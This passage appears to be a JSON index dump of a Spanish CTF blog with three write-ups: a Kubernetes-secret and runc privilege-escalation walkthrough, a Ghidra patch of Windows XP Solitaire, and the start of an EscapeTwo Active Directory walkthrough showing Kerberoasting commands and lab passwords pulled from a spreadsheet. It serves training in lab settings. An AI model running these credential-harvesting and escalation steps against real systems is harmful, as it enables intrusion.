\u0026#34;fieldsV1\u0026#34;: { \u0026#34;f:data\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:USER_PASSWORD\u0026#34;: {} }, \u0026#34;f:metadata\u0026#34;: { \u0026#34;f:ownerReferences\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;k:{\\\u0026#34;uid\\\u0026#34;:\\\u0026#34;9751159e-3ed7-4b87-b4a5-3b5835d9c21a\\\u0026#34;}\u0026#34;: {} } }, \u0026#34;f:type\u0026#34;: {} } } ] }, \u0026#34;data\u0026#34;: { \u0026#34;USER_PASSWORD\u0026#34;: \u0026#34;bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg=\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;Opaque\u0026#34; }, { \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;user-secret-sydneysweeney\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;3699af72-0224-464e-bc76-49924ddb0fed\u0026#34;, \u0026#34;resourceVersion\u0026#34;: \u0026#34;2855807\u0026#34;, \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2025-11-06T15:10:31Z\u0026#34;, \u0026#34;ownerReferences\u0026#34;: [ { \u0026#34;apiVersion\u0026#34;: \u0026#34;bitnami.com/v1alpha1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;SealedSecret\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;user-secret-sydneysweeney\u0026#34;, \u0026#34;uid\u0026#34;: \u0026#34;2b19a959-177a-4328-93a7-851c548e1ba9\u0026#34;, \u0026#34;controller\u0026#34;: true } ], \u0026#34;managedFields\u0026#34;: [ { \u0026#34;manager\u0026#34;: \u0026#34;controller\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;Update\u0026#34;, \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2025-11-06T15:10:31Z\u0026#34;, \u0026#34;fieldsType\u0026#34;: \u0026#34;FieldsV1\u0026#34;, \u0026#34;fieldsV1\u0026#34;: { \u0026#34;f:data\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;f:USER_PASSWORD\u0026#34;: {} }, \u0026#34;f:metadata\u0026#34;: { \u0026#34;f:ownerReferences\u0026#34;: { \u0026#34;.\u0026#34;: {}, \u0026#34;k:{\\\u0026#34;uid\\\u0026#34;:\\\u0026#34;2b19a959-177a-4328-93a7-851c548e1ba9\\\u0026#34;}\u0026#34;: {} } }, \u0026#34;f:type\u0026#34;: {} } } ] }, \u0026#34;data\u0026#34;: { \u0026#34;USER_PASSWORD\u0026#34;: \u0026#34;OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ=\u0026#34; }, \u0026#34;type\u0026#34;: \u0026#34;Opaque\u0026#34; } ] } El output en JSON revela objetos tipo SealedSecret en Base64 con credenciales de usuarios del sistema host:\nmargotrobbie: o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx sydneysweeney: 8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt babywyrm: bsolvFsvRzvIy92B4gM5XiENNVcyGv Los secretos de los users estan en base64.\nmargotrobbie └─$ echo \u0026#34;bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg=\u0026#34; | base64 -d o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx sydneysweeney └─$ echo \u0026#34;OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ=\u0026#34; | base64 -d 8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt babywyrm └─$ echo \u0026#34;YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2\u0026#34; | base64 -d bsolvFsvRzvIy92B4gM5XiENNVcyGv También encuentro un secreto asociado a MariaDB:\nmariadb-password: c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T Me conecto por SSH al host usando las credenciales obtenidas: babywyrm:bsolvFsvRzvIy92B4gM5XiENNVcyGv y capturo la User Flag.\nEscalada de Privilegios Enumero los permisos del usuario babywyrm en el host y observo que puede ejecutar un binario particular con sudo:\nbabywyrm@giveback:~$ sudo /opt/debug run root Al ejecutarlo, el binario solicita una \u0026ldquo;administrative password\u0026rdquo;. Tras probar un poco, confirmo que valida contra la contraseña de MariaDB que extraje de K8s (c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T).\nCreamos una configuración del sistema con el comando inyectado “$ cat /root/root.txt”\nEl binario es un wrapper de runc (una CLI para ejecutar contenedores OCI). Al ejecutar el comando, obtengo un error indicando que falta el sistema de ficheros raíz del contenedor:\nbabywyrm@giveback:~/readflag/lala$ sudo /opt/debug run root Validating sudo... Please enter the administrative password: Both passwords verified. Executing the command... ERRO[0000] runc run failed: invalid rootfs: stat /home/babywyrm/readflag/lala/rootfs: no such file or directory Para engañar al wrapper y lograr ejecución, creo la estructura de directorios básica que runc espera en un rootfs:\nmkdir rootfs cd rootfs/ mkdir bin dev proc lib lib64 root usr\nA partir de aquí, con la estructura de un contenedor válida (y previsiblemente configurando un config.json que monte el directorio raíz / del host en el contenedor), se logra la ejecución del comando o la lectura de la flag para comprometer totalmente la máquina.\n","permalink":"https://synacklabs.github.io/posts/giveback/","tags":["WordPress","PHP Object Injection","Deserialization","Pivoting","Kubernetes (K8s)","Sudo","Container Escape"],"title":"Giveback (Medium)"},{"categories":["Challenge"],"content":"1. Introducción En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.\nEl write-up se divide en dos objetivos principales:\nLocalización de funciones ocultas: Identificar y activar el comando \u0026quot;Force a win\u0026quot;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código. Modificación de la lógica de renderizado: Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila. 2. Parte I: Activando el comando oculto \u0026ldquo;Force a win\u0026rdquo; 2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas. Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú Window y seleccioné Defined Strings. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.\nAl abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: \u0026ldquo;Force a win\u0026rdquo;.\n2.2. Identificación del recurso: ID 1010. La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, \u0026ldquo;Force a win\u0026rdquo; tiene asignado el ID 1010 (Rsrc String ID 1010).\n2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2. Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: 0x3f2.\n2.4. Rastreo en el desensamblado: Localización del manejador de comandos Con el valor 0x3F2 como objetivo, realicé una búsqueda en el código desensamblado. En la dirección 010019d2 aparecía la instrucción CMP EAX, 0x3f2, justo antes de un salto condicional JZ hacia la etiqueta LAB_01001a35. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.\n2.5. Análisis del flujo de victoria y el \u0026ldquo;gatillo\u0026rdquo; del Deal Seguí el salto hasta la etiqueta LAB_01001a35 para ver qué pasaba allí. Me encontré con un bloque de código que hace un XOR ESI, ESI (una forma rápida de poner a cero un registro) y luego hace varios PUSH, incluyendo el valor 0x12. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.\nInvestigando el código cercano para entender qué más podíamos controlar, identifiqué el valor 1000 (en hex 0x3E8). Este ID es el \u0026ldquo;gatillo\u0026rdquo; que se activa cuando el usuario pulsa \u0026ldquo;Deal\u0026rdquo; (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como RESET_TIME, encargada de limpiar el tablero para una partida nueva. También vi menciones a 0x3e9 y 0x3ea. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.\n2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria\nCon el conocimiento de que el ID 1000 dispara la función de repartir (RESET_TIME), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta Patch Instruction de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.\nEl proceso técnico consistió en lo siguiente:\nIdentificación del salto: Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000. Redirección del destino: Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta LAB_01001a35 (el bloque que activa la animación de victoria). Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa \u0026ldquo;Nueva partida\u0026rdquo;, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.\n3. Parte II: Ingeniería de la visibilidad de las cartas 3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw. Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré Cards.dll y, dentro de ella, la función CDT_Draw. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que cdtDraw solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.\n3.2. La técnica de la constante conocida: Buscando el \u0026ldquo;7\u0026rdquo; en la lógica de columnas. Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene 7 columnas en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción CMP con el valor 0x7 y encontré varios candidatos.\n¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro EAX con 0x7. Esta comparación (CMP EAX, 7) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.\n3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero. Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.\nLa clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.\nLa condición: Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad. El salto condicional: En ensamblador, esto es un CMP seguido de un JNZ (Jump if Not Zero). Si la carta no es la última, el JNZ hace que el programa \u0026ldquo;salte\u0026rdquo; por encima del CALL que marca la carta como visible. Al neutralizar este JNZ, obligo al programa a ejecutar el CALL que da visibilidad para todas las cartas, sin importar su posición.\n4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero. El parche consiste en sustituir los bytes del JNZ por dos instrucciones NOP (No Operation). Al hacer esto, el flujo de ejecución se vuelve lineal: el \u0026ldquo;portero\u0026rdquo; que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.\nConclusión Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.\nEstas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.\n","permalink":"https://synacklabs.github.io/posts/solitario/","tags":["Reversing","Ghidra","Game","Windows"],"title":"Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra"},{"categories":["Machine"],"content":"Resumen Durante la resolución de EscapeTwo, empecé con una enumeración de servicios y validé acceso a SMB con credenciales proporcionadas. Desde SMB encontré un .xlsx que, tras analizarlo, contenía credenciales válidas (incluyendo sa). Con sa accedí a MSSQL y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de ryan en un fichero de configuración de SQL, pivoté por WinRM y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de AD CS. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a Administrator, obtuve su NT hash y entré con Pass-the-Hash.\nEnumeración PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-11 10:59:43Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Issuer: commonName=sequel-DC01-CA/domainComponent=sequel | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-26T11:46:45 | Not valid after: 2124-06-08T17:00:40 | MD5: b55a:a63f:50ba:ed44:f865:820a:5b8e:f493 | SHA-1: a87b:9555:5164:74d3:f73f:bded:72e7:baab:db76:c12a | -----BEGIN CERTIFICATE----- | MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF | ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs | MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0 | MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t | PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg | EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw | RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96 | 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA | iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD | 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG | AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG | CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B | Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD | ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6 | t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV | HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO | PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp | Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0 | ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u | UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v | Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp | Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0 | Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1 | dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o | dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x | LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI | hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA | cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7 | Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs | 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo | CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc | 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM= |_-----END CERTIFICATE----- |_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time. 1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time. | ms-sql-info: | 10.129.69.156:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.129.69.156:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-11T10:58:38 | Not valid after: 2056-01-11T10:58:38 | MD5: 80d9:a446:754f:deb1:d297:c17c:fa92:c9d0 | SHA-1: 2f7a:4ab9:c724:0b71:6177:1046:04bf:9ec0:538d:0af4 | -----BEGIN CERTIFICATE----- | MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7 | MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA | bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx | OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs | AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM | xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb | BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH | H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2 | pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi | 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH | H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn | 6+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi | mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st | hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M | 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+ | l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX | MfYJIQ== |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49695/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49728/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49736/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows SMB (con credenciales dadas) Accedí a SMB usando las credenciales proporcionadas.\nDentro vi dos directorios interesantes: Accounting Department y Users.\nMe descargué todos los archivos de esos directorios para analizarlos.\nEn un primer vistazo no parecía haber nada útil.\nTampoco encontré nada interesante en MSSQL con ese primer enfoque.\nEnumeración de usuarios y Kerberoasting Enumeré usuarios por SMB:\n─# nxc smb 10.129.69.156 -u rose -p \u0026#39;KxEPkKe6R8su\u0026#39; --users SMB 10.129.69.156 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.69.156 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su SMB 10.129.69.156 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.69.156 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain SMB 10.129.69.156 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain SMB 10.129.69.156 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account SMB 10.129.69.156 445 DC01 michael 2024-06-08 16:47:37 0 SMB 10.129.69.156 445 DC01 ryan 2024-06-08 16:55:45 0 SMB 10.129.69.156 445 DC01 oscar 2024-06-08 16:56:36 0 SMB 10.129.69.156 445 DC01 sql_svc 2024-06-09 07:58:42 0 SMB 10.129.69.156 445 DC01 rose 2024-12-25 14:44:54 0 SMB 10.129.69.156 445 DC01 ca_svc 2026-01-11 11:07:38 0 SMB 10.129.69.156 445 DC01 [*] Enumerated 9 local users: SEQUEL Como aparecían dos cuentas de servicio (sql_svc y ca_svc), probé Kerberoasting para pedir SPNs:\n┌──(root㉿kali)-[/home/…/Desktop/HTB/EscapeTwo/scan] └─# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ---------- sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb 2024-06-09 09:58:42.689521 2026-01-11 11:58:35.361372 sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb 2026-01-11 12:22:29.121764 2024-06-09 19:14:42.333365 Pedí los tickets:\nIntenté crackearlos, pero no lo conseguí.\nCredenciales dentro del Excel (accounts.xlsx) Volví a los ficheros del SMB y me fijé en accounts.xlsx:\n┌──(kali㉿kali)-[~/Downloads] └─$ file accounts.xlsx accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate Al ver que era un ZIP, lo descomprimí con unzip y analicé el contenido. Ahí encontré credenciales.\nEn sharedStrings.xml se veían los valores:\nY al formatearlo con xmllint aparecían las credenciales:\n┌──(kali㉿kali)-[~/Downloads/xl] └─$ xmllint --format sharedStrings.xml \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; standalone=\u0026#34;yes\u0026#34;?\u0026gt; \u0026lt;sst xmlns=\u0026#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main\u0026#34; count=\u0026#34;25\u0026#34; uniqueCount=\u0026#34;24\u0026#34;\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;First Name\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Last Name\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Email\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Username\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Password\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Angela\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Martin\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;angela@sequel.htb\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;angela\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;0fwz7Q4mSpurIt99\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Oscar\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Martinez\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;oscar@sequel.htb\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;oscar\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;86LxLBMgEWaKUnBG\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Kevin\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; \u0026lt;si\u0026gt; \u0026lt;t xml:space=\u0026#34;preserve\u0026#34;\u0026gt;Malone\u0026lt;/t\u0026gt; \u0026lt;/si\u0026gt; 